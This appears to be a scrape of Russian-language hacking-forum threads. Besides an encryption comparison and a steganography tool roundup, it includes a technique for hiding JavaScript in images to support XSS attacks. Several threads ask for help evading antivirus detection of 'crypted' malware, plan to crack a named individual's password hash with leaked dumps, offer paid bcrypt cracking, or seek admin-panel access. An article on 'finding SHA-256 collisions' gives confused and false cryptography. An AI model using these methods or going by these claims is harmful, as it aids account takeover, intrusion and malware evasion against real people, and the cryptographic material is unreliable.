  • Скорость работы сравнима со скоростью систем шифрования диска и не зависит от размера файлов.
  • Защиту можно усилить, указав повышенное число итераций хеширования в функции преобразования пароля.
  • Количество и критичность «утекающих» из зашифрованного пула данных относительно невелики, если не использовать функцию дедупликации.
  • Дедупликация данных поддерживается, но негативно влияет на безопасность.
  • Поддерживаются функции «холодного» резервного копирования посредством снапшотов и их репликации. Ключ шифрования при этом не требуется.
  • Можно защищать как целые диски, так и отдельные наборы данных.

Более подробно о командах, использующихся для создания и монтирования зашифрованных томов и управления ими, читай в статьях:

Также рекомендую видеопрезентацию и слайды:

ПОДВОДЯ ИТОГИ​

Всего пару лет назад выбор средств шифрования для Linux был ограничен двумя типами: шифрование всего диска или раздела (как вариант — контейнера) либо шифрование файлов и папок с использованием eCryptFS или аналогов, работающих через FUSE (к примеру, EncFS или gocryptfs). У обоих типов шифрования есть свои достоинства и недостатки.

Шифрование диска или раздела защищает весь массив данных; единственная утечка, которая возможна в отдельных случаях, — возможность узнать количество занятого и свободного места на зашифрованном разделе. В то же время любые операции с зашифрованным диском или разделом требуют обязательного монтирования всего объема данных; проверить целостность файлов или сделать резервную копию без ввода ключа шифрования не удастся.

Криптографические файловые системы наподобие eCryptFS шифруют содержимое каждого файла в отдельности, что позволяет проводить ряд операций над файловой системой без монтирования зашифрованных папок. Доступны команды контроля целостности файловой системы, дефрагментации, создания и синхронизации снапшотов. Файлы и папки можно переносить между системами, можно создавать и восстанавливать резервные копии с использованием в том числе удаленных компьютеров, в безопасности которых нет уверенности. Все это доступно без ввода ключей шифрования или расшифровки данных.

В то же время распространенные криптографические файловые системы в Linux налагают ряд функциональных ограничений, основные из которых — жесткие ограничения на длину имен файлов и папок и относительно невысокая скорость работы, особенно при шифровании небольших файлов. Для зашифрованных папок, как правило, не работают функции дедупликации, доступные в таких файловых системах, как BTRFS. Сильно страдает и безопасность решения: скомпрометированный ключ шифрования невозможно сменить, а взлом пароля от единственного зашифрованного файла позволит расшифровать и все остальное содержимое зашифрованной папки. Без ключа шифрования доступен значительный объем метаданных: информация о структуре папок, количестве и размере файлов, дата последней модификации.

Представленная в OpenZFS в 2019 году система шифрования native ZFS encryption, работающая в Linux и FreeBSD, успешно решает проблемы обоих типов защиты, предлагая удачный компромисс между безопасностью, скоростью работы и функциональностью. Без ключей шифрования доступны функции проверки целостности файловой системы, снапшотов и их синхронизации, а также дедупликации данных (если ее включить, то таблицы дедупликации будут храниться в открытом виде, что является уступкой с точки зрения безопасности). В то же время на сторону не утекают данные о размерах файлов и папок, время модификации файлов; нет присущих криптографическим файловым системам ограничений на длину имен файлов. Производительность шифрования высокая, сравнима с со скоростью традиционных систем шифрования дисков.

Какой способ шифрования выбрать? Если ты используешь ZFS или можешь использовать ZFS — выбор однозначен: встроенное шифрование ZFS обеспечит высокую скорость работы, достаточный уровень безопасности и удобства. Если ты единственный пользователь, а ZFS по какой‑то причине использовать нельзя — LUKS по‑прежнему остается быстрым и безопасным вариантом. В многопользовательских системах без ZFS имеет смысл включить шифрование средствами файловой системы: в этом случае у администратора будет возможность создавать и восстанавливать резервные копии без монтирования каждой зашифрованной папки каждого пользователя системы.

Наконец, иногда у тебя просто не будет альтернативы: некоторые производители сетевых хранилищ позволяют использовать единственный метод. Synology — шифрование сетевых папок (eCryptFS). Asustor — шифрование сетевых папок (eCryptFS) на внутренних томах либо шифрование раздела (LUKS) на томах MyArchive. QNAP (на моделях с процессорами Intel и операционной системой QTS) позволяет создать многослойную защиту: SED, LUKS и eCryptFS могут использоваться в любых комбинациях.

Автор: Олег Афонин, «Элкомсофт»
www.elcomsoft.com
xakep.ru

Подсчет количества комбинаций пароля
ID: 676536fbb4103b69df373852
Thread ID: 48892
Created: 2021-03-03T16:50:30+0000
Last Post: 2021-08-27T10:06:22+0000
Author: rokkkkkko
Replies: 5 Views: 2K

В математике не силён, к сожалению )

По какой формуле можно подсчитать количество комбинаций пароля если есть такие вводные:

1. Можно использовать - числа , англ.алфавит в ВЕРХНЕМ и нижнем регистре, символы !@#$%^&*()-_=+,.<>/\}{"
2. Длина пароля от 1 до 20 символов

Hashcat научился определять типы хешей
ID: 676536fbb4103b69df373854
Thread ID: 55264
Created: 2021-08-13T11:41:13+0000
Last Post: 2021-08-25T16:22:14+0000
Author: Eject
Prefix: Статья
Replies: 1 Views: 2K

Мы добавили новую функцию для выполнения автоматического анализа хеш-списка, предоставленного пользователем, и перечисления совместимых хеш-режимов из всех 350+ плагинов

Click to expand...

__https://twitter.com/x/status/1401612748115566603

Вот так это работает: https://asciinema.org/a/418653

Достаточно указать --quiet <файл с хешами> <словарь>

Это не статья, а скорее новость, но фича крутая как говориться "аж джва года ждал!"

Картинки с секретами. Тестируем 8 утилит для стеганографии
ID: 676536fbb4103b69df373859
Thread ID: 54892
Created: 2021-08-05T14:48:28+0000
Last Post: 2021-08-06T13:52:47+0000
Author: tabac
Prefix: Статья
Replies: 3 Views: 2K

Сегодня мы рассмотрим 8 стеганографических утилит, в основном — кросс‑платформенные, позволяющие прятать файлы в картинках.

CLOAKIFY​

  • Платформа: любая
  • Где скачивать: GitHub

CloakifyFactory — это большая и легко расширяемая программа, которая использует скрипты Cloakify Toolset. Особенность ее в том, что перед маскировкой нагрузки она кодируется в Base64.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21176%2Fcloakify.jpg&hash=4306ea91bb17443fde7379e8515a6d8e)
У программы есть огромный плюс — она умеет маскировать что угодно не просто в картинках, а еще и в видео, музыке и даже программах, хоть и с последними получается плохо — выходной файл сильно раздувается.

Работает Cloakify на Python 2.7, который уже морально и физически устарел, а использование Base64 для скрытия информации от невооруженного глаза приводит к сильному увеличению размера, не давая никакого заметного преимущества.

Для примера давай обычный текстовый документ внедрим в картинку формата JPG. Мой исходный файл называется save.txt и лежит в одной директории с самой программой. Внедрение файла крайне простое и выглядит примерно так.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21177%2Fcloakify-2.jpg&hash=244548009cea9e795dcc91852b4280f9)
Пропускаем функцию добавления шумов. Для нас они погоды не сделают, но, если ты хочешь дополнительно замаскировать информацию, могут помочь.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21384%2Fcloakify-3.jpg&hash=9ecec0775faa545400fa444dcb827d41)
Как ты уже мог догадаться, этот софт для сокрытия действительно секретной информации применять стремно. Но есть и плюсы, вроде простоты работы и того, что выходных форматов чуть более чем куча.

STEGHIDE​

  • Платформа: любая
  • Где скачивать: GitHub

Steghide — консольная утилита, написанная на C++. Скрывает информацию в стандартных файлах форматов JPEG, BMP, WAV и AU. В арсенале программы полно шифров — даже Blowfish, которого я у других не замечал. Теоретически использование такой экзотики может помочь запутать следы еще сильнее.

Steghide умеет не просто упаковывать данные в картинку или трек, а еще и шифровать секретную нагрузку. Но есть и минус: не все фотографии и аудиофайлы подойдут для внедрения в них секретной нагрузки. Если файл слишком маленький — внедрить в него ничего нельзя. Давай попробуем объединить картинку cats.jpg и секретный файлик save.txt.

Открываем терминал и пишем:

Code:Copy to clipboard

steghide embed -cf cats.jpg -ef save.txt
  • --embedfile [-ef] — файл, который мы будем встраивать;
  • --coverfile [-cf] — файл‑обложка, в который внедряется секретная инфа;
  • --compress [-z] — сжимать данные перед упаковкой;
  • --encryption [-e] — шифровать внедряемые данные.

Распаковка так же проста, как упаковка:

Code:Copy to clipboard

steghide extract -sf cats.jpg

Ключ --stegofile [-sf] позволяет выбрать файл со скрытой информацией, а --passphrase [-p] указывает пароль.

![Вот что получилось](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21395%2Fsteghide.jpg&hash=c62b786334dbbb766ade3b882f5263c0)
Из‑за применения сжатия разница размеров до и после внедрения минимальна.

Мне понравилась возможность ставить пароли и сжимать данные. Однозначно хорошая штука, которую можно использовать в любительских целях. К тому же можно создать цепочку из объектов, которые будут спрятаны друг в друге. А минус только в том, что не всякое изображение подходит для этой манипуляции, но мы же живем в XXI веке, и найти новую фотку вообще не вопрос, правда?

SPECTROLOGY​

  • Платформа: любая
  • Где скачивать: GitHub

Название программы Spectrology говорит само за себя — она позволяет превращать изображения в аудиодорожки с «заряженными» спектрограммами, из которых потом можно достать картинки. Звучит круто, но без проблем не обошлось.

Перед первым запуском нужно поставить модуль pillow.

Code:Copy to clipboard

python3 -m pip install --upgrade pip
python3 -m pip install --upgrade Pillow

Сразу бросается в глаза второй огромный минус — крайне медленная работа. Хоть он и с лихвой перекрывается плюсами в виде необычного алгоритма работы и переносимости (написана на Python).

Давай запакуем изображение BMP в файл WAV. Делается это так:

Code:Copy to clipboard

python spectrology.py your_filename.bmp -o music.wav
  • --output [-o] — флаг, отвечающий за название выходного аудиофайла;
  • --botton [-b] задает нижний частотный диапазон;
  • --pixels [-p] позволяет установить количество пикселей в секунду;
  • --sampling [-s] ставит частоту дискретизации.

Давай посмотрим, какого размера будет готовый аудиофайл.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21394%2Fspectrology.jpg&hash=4c29fabca7903a17d483cb43feaacd69)
В целом работает медленно и из коробки даже не запускается — приходится недостающие модули ставить вручную. Не производит впечатления хорошо проработанного инструмента, хотя задумка, безусловно, классная.

IMAGESPYER G2​

  • Платформа: Windows
  • Где скачивать: где получится

Это одна из древних утилит, когда‑то написанных Александром Мясниковым и ныне встречающаяся лишь на просторах файлопомоек. Официальный сайт у нее если когда‑то и был, то давно не работает. Тем не менее программа заслуживает внимания.

ImageSpyer прячет секретные файлы только в картинки и даже разрешает ставить пароль, чтобы зашифровать данные перед внедрением. Программа поддерживает около 30 алгоритмов шифрования внедряемой информации и 25 хеш‑функций для подписи, чтобы убедиться, что встроенный в картинку файл не побился при передаче.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21181%2Fimagespyer.jpg&hash=8c93bc76f3cad0d395dc643cfdc8c392)
Большой плюс — наличие графического интерфейса с понятными пояснениями и множеством настроек. Выходных форматов всего два: BMP и TIFF.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21182%2Fimagespyer-2.jpg&hash=9e3df19c70c2339d3214f9c0f143de56)
Посмотрим, насколько сильно увеличился объем фотографии.

![Слева — после обработки, справа — до](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21183%2Fimagespyer-3.jpg&hash=4710185cc14f769f1172836154cd055d)
Как видишь, из маленького котика с размером 59,6 Кбайт мы сделали толстого кота на целых 1530 Кбайт. Результат неплохой, да и работает ImageSpyer быстро, так что смело рекомендуем к использованию.

REDJPEG​

  • Платформа: Windows
  • Где скачивать: где получится

Еще один стегозавр авторства Александра Мясникова. На этот раз — с собственным алгоритмом внедрения изображения в картинки, сжатием LZMA и оформлением для ностальгирующих по СССР.

![Вождь читает инструкцию](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21388%2Fredjpeg.jpg&hash=f9ae4504645dcfb66dd0f6882e32be7e) ![Настройки](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21389%2Fredjpeg-2.jpg&hash=3ac3d56e44a8b3027b93adb5dc19bc44)
А что у нас по объему после запаковки текста в картинку?

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21390%2Fredjpeg-3.jpg&hash=1f7c25aeb6f499da582aad5f55ee2433)
Впечатления исключительно позитивные. Программа позволяет хорошо спрятать и зашифровать любую нужную информацию. Подходит для постоянного использования.

OPENSTEGO​

  • Платформа: любая
  • Где скачивать: GitHub

Проект OpenStego реализован на Java, имеет поддержку шифрования AES и крайне популярен среди желающих познакомиться со стеганографией. Поддерживает плагины, чтобы ты сам смог реализовать какой‑нибудь стеганографический алгоритм. Есть версии и для Windows, и для Linux.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21387%2Fopenstego.jpg&hash=87d1de3d3aadf8ce4985cf523e7cecb0)
Как и ImageSpyer, OpenStego значительно раздувает размеры файла, хоть и не настолько сильно. Поддерживается также всего один способ упаковки, но это легко поправить плагинами. Выходные файлы могут быть только в формате PNG, но это нельзя назвать совсем уж большим минусом, тем более что на вход можно подавать почти любой формат.

Есть и интересная функция, которой я не нашел у конкурентов, — Digital Watermarking. Она позволяет тайком пометить фотографию, чтобы легко найти вора. Для этого программа внедряет в картинку незаметный идентификатор, который в дальнейшем можно будет достать и проверить, кто взял картинку без спроса.

Программа не требует установки, а запускается батником.

![Сравнение](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21185%2Fopenstego-2.jpg&hash=5327b1c5668405d3a2f4a52a07d5ca58)
Файл на выходе получился куда толще, чем был, — размер увеличился почти на 800 Кбайт.

По сравнению с ImageSpyer OpenStego все же более богат фичами, что мне понравилось.

SILENTEYE​

SilentEye — кросс‑платформенный софт с простым интерфейсом. Обладает множеством плагинов и приятным GUI. Использует современные алгоритмы стеганографии и маскировки.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F8b8d72f768a36d74ce62299f401cca64%2F21189%2Fsilenteye.jpg&hash=becf5ace46833c7af1a65b9b69b18acf)
Из очевидных преимуществ отмечу ввод маскируемого текста прямо в окне программы вместо загрузки текстовых файлов из стороннего редактора. Серьезно, фича простая, а никто до этого не додумался. Форматы выходных файлов картинок — BMP, JPEG, PNG, GIF, TIFF, звука — только WAV.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21392%2Fsilenteye-3.jpg&hash=cee0a2bb88c9e12a21711bae1b69310f)
Можно настроить качество выходного изображения — оно определяет, сколько потерь будет при кодировании в JPEG.

Для шифрования внедренных данных применяется AES, но настроек куда больше, чем у OpenStego.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21391%2Fsilenteye-2.jpg&hash=e7fe7531c1475a359b1f6e1d81815a2b)
При проверке увеличения объема пришлось использовать другую картинку в качестве исходной, но видно, что объем почти не изменился, то есть программа работает эффективно.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21393%2Fsilenteye-4.jpg&hash=4efe0a35dd90b91e4648a14c2bd965ec)
Размер файла с картинкой увеличился всего на 13,5 Кбайт — очень хороший результат!

Утилита может спокойно заменить старичка OpenStego. Работает она чуть медленнее конкурентов, но зачастую это некритично. Тоже рекомендую.

IMAGEJS​

  • Платформа: Linux
  • Где скачивать: GitHub

ImageJS предназначена не совсем для сокрытия информации от людей. Вместо этого она помогает обманывать браузеры, которые совершенно обоснованно предполагают, что в валидных картинках ничего постороннего быть не должно.

ImageJS позволяет создать картинки, которые одновременно представляют собой настоящие JS-скрипты. Это нужно, чтобы упростить проведение более опасных XSS- атак, в которых иногда требуется подгрузить скрипт именно с атакованного домена. Вот тут на помощь приходит возможность загрузить туда аватарку, которая одновременно содержит JavaScript payload для дальнейшей атаки. Программа поддерживает внедрение в форматы BMP, GIF, WEBP, PNG и PDF.

Для сборки нужны пакеты build-esential и cmake. Дальше все просто:

Code:Copy to clipboard

$ git clone https://github.com/jklmnn/imagejs.git
$ cd imagejs
$ mkdir build
$ cd build
$ cmake ..
$ make

Давай создадим script.js со следующим кодом, а потом упакуем его в image.gif:

Code:Copy to clipboard

alert("Hello, Xakep!");
./imagejs gif script.js -i image.gif

На выходе будет файл с двойным расширением, но это не беда.

Сейчас мы проверим все в деле! Создавай HTML-страничку со следующим кодом и сохраняй ее рядом с нашей заряженной картинкой.

Code:Copy to clipboard

<html>
    <title>Knock, Knock, Neo</title>
    <head>
        <img src="script.js.gif" alt="Matrix">
        <script src="script.js.gif"></script>
    </head>
</html>

Сохраняем и открываем. Должно получиться как на скриншоте.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21385%2Fimagejs.jpg&hash=f8b2a35f29464aecb8ee6842c98898e4)
Размер картинки почти не меняется, что нам очень на руку.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2Fdb7bf1a5fd461713fc6939f2d7d8756b%2F21386%2Fimagejs-1.jpg&hash=a70b9989b784c0513e82a16ed5885cf8)
Программа шикарна, хоть и применима только в очень специфичных целях.

Автор Марк Клинтов aka marklint
github.com/NeoCreat0r

Windows Defender детектит при скачивании
ID: 676536fbb4103b69df37385d
Thread ID: 38651
Created: 2020-06-20T21:57:40+0000
Last Post: 2021-07-23T19:39:25+0000
Author: Meteorburn
Replies: 8 Views: 2K

При скачивании криптованого файла, Windows Defender детектит малварь.
Проверял Avcheck, Dyncheck - ноль детектов на Windows Defender, но на деле по другому.
Сделал уже 3 разных крипта 2 разных ПО, результат не поменялся. Хотя неделю назад всё сохранялось и запускалось без проблем.

Подумал может в источнике откуда скачивается файл проблема, но нет, также детектит откуда бы не скачивался файл.
Подскажите, что я упустил и куда копать?

Поиск коллизий в SHA-256 на платформе Node.js при помощи Bitcoin Hasher
ID: 676536fbb4103b69df373863
Thread ID: 52926
Created: 2021-06-14T20:38:55+0000
Last Post: 2021-06-14T20:38:55+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 2K

Перед началом чтения хочу предупредить, что все описанные ниже определения и проделанные мною исследования несут в себе ознакомительный характер и являются неполными или неточными.

При написании данной статьи много важных аспектов были пропущены или не дополнены из-за масштабности тем, которые были затронуты. На основе изложенной мною информации будет приведено список материалов, с которыми можно ознакомится для более глубокого погружения в такие науки, как защита данных и криптография.

Для понимания работы приложения Bitcoin Hasher содержание статьи было поделено на небольшие разделы:

  1. Немного теории
  2. Немного о SHA-2
  3. Немного о Blockchain
  4. Bitcoin Hasher
  5. Полезные материалы

1. Немного теории​

Алгоритмом шифрования называется некая функция принимающая на вход строку произвольной длины, которая посредством определённого математического алгоритма преобразует INPUT (строку произвольной длины) в OUTPUT (строку фиксированной длины). Данный процесс конвертации называется хешированием илишифрованием. Конечным результатом шифрования любой подающей на вход информации называется цифровым отпечатком (дайджестом). Цель любого алгоритма заключается в сжатии, рассеивании и перемешивании входной информации. Оттого насколько сильно она преобразована будет зависеть не только безопасность этого самого отпечатка, но и алгоритма хеширования посредством которого был сформирован отпечаток. Наглядный процесс конвертации показан на схеме:


При передаче конфиденциальной информации возникает необходимость обеспечить эффективную защиту входных данных от злоумышленника, поэтому независимо от способа своей реализации любая современная криптографическая система защиты информации должна соблюдать ряду требований:

  1. В результате преобразования полученный фиксированный ключ должен обеспечивать надёжную защиту информации
  2. При незначительном изменении входной информации пропускаемую через hash-функцию должно соблюдаться существенное изменение выходного значения
  3. Отсутствие какой-либо зависимости между входной и выходной информацией
  4. Сложность или невозможность подбора входного значения для цифрового отпечатка

Целью шифрования информации при выборе наиболее стойкого и нового стандарта является сохранение и необратимое преобразование исходных данных, что на мой взгляд является и одним из важнейших его преимуществ. Недостатком - появление неизбежных коллизий при преобразовании. Предположим что есть два отличающихся информацией входных блока (x) которые нужно "пропустить" через функции хеширования (H) и получить фиксированной длины отпечатки (y). Если блоки (x) проходящие через функции (H) будут иметь одинаковые отпечатки (y) значить в результате выполненной работы образуется коллизия:

2. Немного о SHA-2​

На момент написания этой статьи одним из наиболее эффективных алгоритмов хеширования является семейство криптографических систем защиты информации SHA-2 (Secure Hash Algorithm Version 2 - безопасный алгоритм хеширования, версия 2).

Все функции, которые входят в данное "семейство", а именно: SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/256 и SHA-512/224 построены на основе структуры Меркла-Дамгарда, что сказывается на их реальной стойкости к различным видам атак. Принцип работы абсолютно всех вышеприведённых алгоритмов заключается в разбивке входящей информации на части одинакового размера, каждая из которых подвергается обработке выбранной односторонней функцией сжатия. Ключевым преимуществом при таком подходе является алгоритмическая односторонность, то бишь невозможность восстановления каких-либо исходных данных на основе полученного выходного результата без наличия сформированного ключа. Данное элегантное решение было представлено взамен устаревшему SHA-1 Агентством Национальной Безопасности США в 2002 году для более надёжного шифрования конфиденциальных данных. Одним из наиболее применимых на сегодняшний день алгоритмов является SHA-256, свою популярность по внедрению его в различные системы он завоевал благодаря таким масштабным проектам как: Bitcoin и Blockchain (о Blockchain далее остановимся чуть подробнее). Все представленные функции благополучно работают и применяются по сегодняшний день.

Ниже представлен результат работы каждого из алгоритмов, которые входят в семейство SHA-2:

Code:Copy to clipboard

SHA-224:       Hello World ! --> 2c8abaa6a94a76fe9c6005994567d67a1631bc90dfca267099dc750f
SHA-256:       Hello World ! --> 07f2bdef34ed16e3a1ba0dbb7e47b8fd981ce0ccb3e1bfe564d82c423cba7e47
SHA-384:       Hello World ! --> 67e60f9ce837caa3ca82550f0dfcbde1b8b8a7c1605fa8d115bcc2314204fd95f5f607306622c38c0205de7df6d426d8
SHA-512:       Hello World ! --> feab0028f1142d420a1425d1dd5b518225b4523aa1cff63385ece3411318819f5ec83042ccb79d81f20e4a243866886ca3ae3026153acff8e126c0e89631502e
SHA-512/256:   Hello World ! --> a70e1d1268e729e90db4c0834214f449c8e7b652777f40a8a0d26f2372e39ca7
SHA-512/224:   Hello World ! --> 7cc0d174b7ce522eff7d7ee59789e420d75d0244f006ef8ce0f4efb7

3. Немного о Blockchain​

Для понимания работы приложения я обязан написать пару слов о Blockchain сети так как именно она базируется на работе с алгоритмом SHA-256 а, также является важным "поставщиком входной информации" для Bitcoin Hasher.

Blockchain - децентрализованная выстроенная по определённым правилам непрерывная, последовательная цепочка блоков, содержащих информацию о всех переводах платежных средств в цифровой валюте, которые были осуществлены посредством использования данной сети.

Окунувшись в историю формирования технологии, работы и исследования учёных для удобства были разбиты на несколько этапов:

  1. (1991 год) : Размышления о Blockchain, как о защищённом хранилище цифровых документов без возможности их подделки или возврата были описаны в работах Стюарта Хаббера и У. Скотта Шторнетта в 1991 году. Столь гениальная и стойкая идея была сформулирована задолго до появления Blockchain-сети.
  2. (1992 год) : Для надёжной работы Blockchain в дизайн работы будущей сети инкорпорировали так называемое дерево Меркла, что впоследствии привело к налаживанию связей между всеми записями данных во всей цепочке глобальной экосистемы Blockchain.
  3. (2008 год) : Некий человек или организация под псевдонимом Сатоши Накамото публикует документ под названием: "Bitcoin: a peer-to-peer electronic cash system". Данный документ впоследствии станет отправной точкой создания нынешнего Blockchain для валюты Bitcoin.
  4. (2009 год) : В альтернативу нынешней финансовой системе Сатоши Накамото реализовывает децентрализованную, не подконтрольную не одной государственной единице, сеть Blockchain для работы с первой в мире цифровую валюту Bitcoin.

Программное решение продукта было спроектировано таким образом, что любое вмешательство в её работу не приведёт абсолютно ни к чему, так как парадигмы, которые были заложены в Blockchain с самого её основания остаются стойкими, актуальными и применимыми по сегодняшний день.

Вся информация о переводах в Blockchain хранится в виде блоков, каждый из которых представляет собой объект и имеет следующий вид (Пример блока под номером 685466, созданный 2021-05-30 08:05):

Code:Copy to clipboard

{
      "hash": "00000000000000000009fde417c010d7ec9ffb25a268f4b0667681ed9b74cf65",       (уникальный идентификатор созданного блока)
      "ver": 536870916,                                                                 (версия блока)
      "prev_block": "00000000000000000007b7241ee4748769266870bdab4e5306379739db07c466"  (уникальный идентификатор предыдущего блока),
      "mrkl_root": "8d620000ab7ba942a165ed49be563a31c33269ce8f2d40b8317784475a543fe7"   (хеш всех транзакций в текущем блоке),
      "time": 1622351111                                                                (время за которое был создан текущий блок),
      "bits": 386752379                                                                 (суб-единица BTC),
      "nonce": 3069945434                                                               (случайное значение которое можно скоректировать для подтверждения работы),
      "n_tx": 996                                                                       (колличество подтвержденных транзакций в текущем блоке),
      "size": 1602081,                                                                  (размер текущего блока)
      "block_index": 685466                                                             (индекс текущего блока),
      "height": 685466                                                                  (высота текущего блока),
      "tx": [
         "--Array of Transactions--"                                                    (Массив транзакций содержащих информацию)
      ]
   }

Достоверную информацию о всех блоках и транзакциях, можно получить на сайте Blockchain, в разделе API.

Пройдя путь от идей и размышлений до самостоятельной технологии Blockchain стал таким, каким мы знаем его сегодня. Остальными этапами дальнейшего развития и формирования, вплоть до сегодняшнего дня, сводятся в постоянной поддержке стабильного и бесперебойного процесса работы для всех пользователей децентрализованной сети.

4. Bitcoin Hasher​

Bitcoin Hasher представляет собой небольшое приложение для поиска коллизий в алгоритме шифрования SHA-256.

Осуществление поиска производится путем создания так называемого "двойного шифрования" цифровых отпечатков. То бишь из уже ранее зашифрованной информации полученной из Blockchain, приложение генерировало подобный отпечаток для каждой из транзакций посредством применения SHA-256.

Алгоритм работы сводился к следующему:

  1. На клиенте JavaScript делал новый XHR-запрос к Blockchain API следующего вида: https://blockchain.info/rawblock/ (уникальный идентификатор блока вводимый в input приложения).
  2. После отправки запроса к Blockchain серверам, в ответе Bitcoin Hasher получал детальную информацию о блоке, пример которой я уже описывал.
  3. Из поля "tx" приложение "забирало" массив дайджестов подтвержденных транзакций в конкретном блоке и на их основе Node.js генерировал точно такой же цифровой отпечаток каждой из транзакций.
  4. Параллельно работы генерации из поля "prev_block" (в которое входит значение идентификатора предыдущего блока) на клиенте JavaScript создавал новый XHR-запрос следующего вида: https://blockchain.info/rawblock/ (уникальный идентификатор предыдущего блока). Данный процесс был зациклен до тех пор пока все блоки и транзакции не будут обработаны.
  5. При параллельной работе клиент-серверного приложения все INPUT-OUTPUT данные записываются в папку db_blocks/block-NUMBER_BLOCK.txt
  6. Итоговой задачей остается найти INPUT дайджест, который является ключом к интересующему вас OUTPUT отпечатку.

Полезные материалы для ознакомления с приложением:

Repository Bitcoin Hasher

[Пример формирования "двойного шифрования", для блока с высотой 665862 в Blockchain](https://github.com/ArtCODE-web/Bitcoin- Hasher/blob/master/db_blocks/block-665862.txt)

Процесс работы Bitcoin Hasher:

автор @ArtCODE-web хабр

Составление словарей. Брут хеша.
ID: 676536fbb4103b69df373864
Thread ID: 52816
Created: 2021-06-11T09:24:39+0000
Last Post: 2021-06-14T19:16:59+0000
Author: rokkkkkko
Replies: 10 Views: 2K

Нужно пробрутить хеш, софт уже есть под это дело.

Известно что пароль должен быть не менее 10 символов, "сервис" при создании пароля просит пользователя добавить заглавную букву в пароль если ее нету, но дает создать даже и без нее. Владелец пароля - русскоговорящий, в идеале знает английский, другие персональные данные известны.

План такой:
1. Скачал более 30 ГБ различных словарей, сливов, дампов и наборов паролей.
2. Через текстовый редактор (какой?) который обрабатывает огромные файлы - объединить все словари > удалить дубликаты >удалить пароли меньше 10 символов (стоит ли это делать? Или лучше через правила добить их до 10 символов, как делают некоторые пользователи) > **брутить
3. **В случае неудачи, попытаться нагенерить паролей по методу из /threads/40815/ ?

Под брут планирую купить 10-15 - geforce 3080 или 3090 (смотрю разные варианты), по-этому вариант перебирать все возможные комбы на данный момент нереален, т.к. технический прогресс еще не дошел до таких показателей скорости перебора, а ждать 10к+ лет не хочется)

Вопросы:
1. Какой софт посоветуете для выполнения задач по объединению, обработке, удалению дублей и тд. для больших текстовых файлов?
2. Какие варианты по составлению паролей есть еще? Мой софт поддерживает гибридные атаки, т.е. формирование паролей по маске и тд.

А в целом, план такой: перебрать все возможные "человеческие" пароли, которые найду в дампах, словарях и тд. - если ничего не подойдет, отложу хешик на пару лет, пока технологии не дойдут до нужных показателей и потом снова пробручу, как то так. У кого есть мысли - покритикуйте мой план, покидайте тапками)) Всем спасибо.

Нужен человек для расшифровки хешей со своими мощностями
ID: 676536fbb4103b69df373866
Thread ID: 50975
Created: 2021-04-23T13:33:46+0000
Last Post: 2021-06-10T13:06:43+0000
Author: WDBlue
Replies: 6 Views: 2K

Интересует как одноразовое так и долгосрочное сотрудничество
Хеши bcrypt, оплата BTC
Контакт в ПМ

How to decode bcrypt
ID: 676536fbb4103b69df373868
Thread ID: 50507
Created: 2021-04-09T19:07:16+0000
Last Post: 2021-06-01T09:51:02+0000
Author: Zakodowany
Replies: 3 Views: 2K

Hey, how to decrypt bcrypt laravel?
Thanks to this, I will be able to enter the admin panel, but I don't know how to figure it out

Определить хеш
ID: 676536fbb4103b69df37386c
Thread ID: 50062
Created: 2021-03-30T20:32:19+0000
Last Post: 2021-05-01T20:58:34+0000
Author: monday
Replies: 5 Views: 2K

Добрый вечер, может кто сможет подсказать.
Хеш - 1c42945c73341ee5425c2cfa3a88974a
Пароль - 320246.
Буду благодарен за любую помощь.

Создание словаря
ID: 676536fbb4103b69df37386d
Thread ID: 50146
Created: 2021-04-01T16:46:53+0000
Last Post: 2021-05-01T20:56:07+0000
Author: denis3zl
Replies: 9 Views: 2K

Всем здрасьте,вопрос такой:есть лист логинов и лист паролей;хочу для теста создать из них лист вида лог:пасс,каждый с каждым обязательно.Кто знает,подскажите софт или скрипт

Backup криптованных дисков
ID: 676536fbb4103b69df373875
Thread ID: 48907
Created: 2021-03-03T20:37:12+0000
Last Post: 2021-03-19T18:33:28+0000
Author: pablo
